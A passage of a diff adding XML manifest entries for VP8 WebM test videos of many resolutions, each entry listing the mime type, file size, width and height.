+    <value>mime=video/x-vnd.on2.vp8,size=732471,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1440x1440p50f32_4100kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=943919,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1440x1920p50f32_5500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1404361,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1440x2560p50f32_7300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=986201,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1440x960p50f32_2700kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=607624,width=1440,height=960,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_144x144p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=24431,width=144,height=144,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_144x176p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=26701,width=144,height=176,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_144x192p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=26749,width=144,height=192,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_144x256p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=30324,width=144,height=256,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_144x96p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=21810,width=144,height=96,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1536x2048p50f32_6200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1594581,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_160x240p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=30543,width=160,height=240,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_16x1080p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=21812,width=16,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_16x1280p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=22365,width=16,height=1280,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_16x16p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2399,width=16,height=16,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_16x1920p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=24936,width=16,height=1920,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_16x720p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=20743,width=16,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_172x172p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=27116,width=172,height=172,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_176x144p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=26536,width=176,height=144,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_176x96p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=23213,width=176,height=96,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x1080p50f32_4100kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x1088p50f32_4100kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=959492,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x1280p50f32_4900kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1249491,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x1440p50f32_5500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1399756,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x16p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=24298,width=1920,height=16,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x1920p50f32_7300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1860104,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x2560p50f32_9800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1275262,width=1920,height=2560,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_1920x64p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=47544,width=1920,height=64,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_192x128p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=26210,width=192,height=128,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_192x144p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=27399,width=192,height=144,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_192x192p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=30298,width=192,height=192,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_192x256p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=35251,width=192,height=256,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_192x288p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=38961,width=192,height=288,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2048x1152p50f32_4700kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1196505,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2048x1536p50f32_6200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1588823,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2048x2048p50f32_8300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2106103,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2160x3840p50f32_16500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2280972,width=2160,height=3840,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_216x288p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=44099,width=216,height=288,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2304x4096p50f32_18800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2638026,width=2304,height=4096,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_240x160p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=31009,width=240,height=160,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_240x240p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=40814,width=240,height=240,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_240x320p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=50030,width=240,height=320,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_240x360p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=52756,width=240,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_24x32p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=7659,width=24,height=32,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2560x1440p50f32_7300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1865129,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2560x1920p50f32_9800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2525728,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2560x2560p50f32_13100kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1724858,width=2560,height=2560,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_2560x3840p50f32_19600kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2762075,width=2560,height=3840,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_256x144p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=31222,width=256,height=144,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_256x192p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=35669,width=256,height=192,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_256x256p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=45820,width=256,height=256,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_264x352p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=53957,width=264,height=352,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_288x192p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=39629,width=288,height=192,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_288x216p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=44825,width=288,height=216,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_288x288p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=49855,width=288,height=288,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_288x352p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=54866,width=288,height=352,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_288x512p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=58929,width=288,height=512,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_320x240p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=49907,width=320,height=240,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_320x320p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=52171,width=320,height=320,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_320x480p50f32_300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=78944,width=320,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_32x24p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=7192,width=32,height=24,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_32x32p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=7411,width=32,height=32,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_350x350p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=52974,width=350,height=350,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_352x264p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=53324,width=352,height=264,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_352x288p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=53275,width=352,height=288,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_352x352p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=56687,width=352,height=352,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_356x638p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144407,width=356,height=638,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_356x640p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144233,width=356,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_358x636p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144934,width=358,height=636,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_358x640p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144989,width=358,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_360x240p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=52067,width=360,height=240,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_360x360p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=56298,width=360,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_360x480p50f32_300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=80276,width=360,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_360x636p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144803,width=360,height=636,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_360x638p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=145053,width=360,height=638,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_360x640p50f32_400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=109983,width=360,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_3840x2560p50f32_19600kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2700336,width=3840,height=2560,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_384x512p50f32_300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=84388,width=384,height=512,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_4096x2304p50f32_18800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2596000,width=4096,height=2304,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_472x472p50f32_400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=111263,width=472,height=472,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_480x320p50f32_300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=79954,width=480,height=320,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_480x360p50f32_300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=81735,width=480,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_480x480p50f32_400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=111711,width=480,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_480x640p50f32_600kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=143862,width=480,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_480x720p50f32_600kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=155040,width=480,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_480x848p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=186659,width=480,height=848,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_48x64p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=16981,width=48,height=64,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_512x288p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=58038,width=512,height=288,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_512x384p50f32_300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=84510,width=512,height=384,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_512x512p50f32_500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=127988,width=512,height=512,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_528x704p50f32_700kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=168908,width=528,height=704,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_576x1024p50f32_1100kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=254897,width=576,height=1024,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_576x704p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=183125,width=576,height=704,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_576x720p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=186100,width=576,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_600x800p50f32_900kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=207176,width=600,height=800,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_636x358p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144270,width=636,height=358,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_636x360p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144411,width=636,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_638x356p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144483,width=638,height=356,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_638x360p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=145021,width=638,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x356p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=144416,width=640,height=356,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x358p50f32_400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=103745,width=640,height=358,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x360p50f32_400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=106663,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x480p50f32_600kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=147651,width=640,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x640p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=186545,width=640,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x848p50f32_1000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=232998,width=640,height=848,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_640x960p50f32_1200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=281403,width=640,height=960,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x1080p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=42022,width=64,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x1280p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=45963,width=64,height=1280,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x1920p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=46480,width=64,height=1920,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x48p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=17239,width=64,height=48,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x64p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=18514,width=64,height=64,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x720p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=32501,width=64,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_64x96p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=19213,width=64,height=96,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_704x528p50f32_700kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=172909,width=704,height=528,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_704x576p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=185778,width=704,height=576,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_704x704p50f32_900kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=212826,width=704,height=704,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x1280p50f32_1800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=401786,width=720,height=1280,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x16p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=19938,width=720,height=16,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x480p50f32_600kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=159912,width=720,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x576p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=189430,width=720,height=576,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x64p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=30046,width=720,height=64,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x720p50f32_1000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=224971,width=720,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_720x960p50f32_1300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=294296,width=720,height=960,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_72x128p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=21203,width=72,height=128,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_72x96p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=20015,width=72,height=96,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_768x1024p50f32_1500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=352701,width=768,height=1024,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_800x600p50f32_900kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=217169,width=800,height=600,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_800x800p50f32_1200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=273012,width=800,height=800,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_848x480p50f32_800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=190656,width=848,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_848x640p50f32_1000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=239117,width=848,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_848x848p50f32_1400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=325460,width=848,height=848,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_8x8p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1994,width=8,height=8,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_960x1280p50f32_2400kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=572191,width=960,height=1280,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_960x1440p50f32_2700kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=632553,width=960,height=1440,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
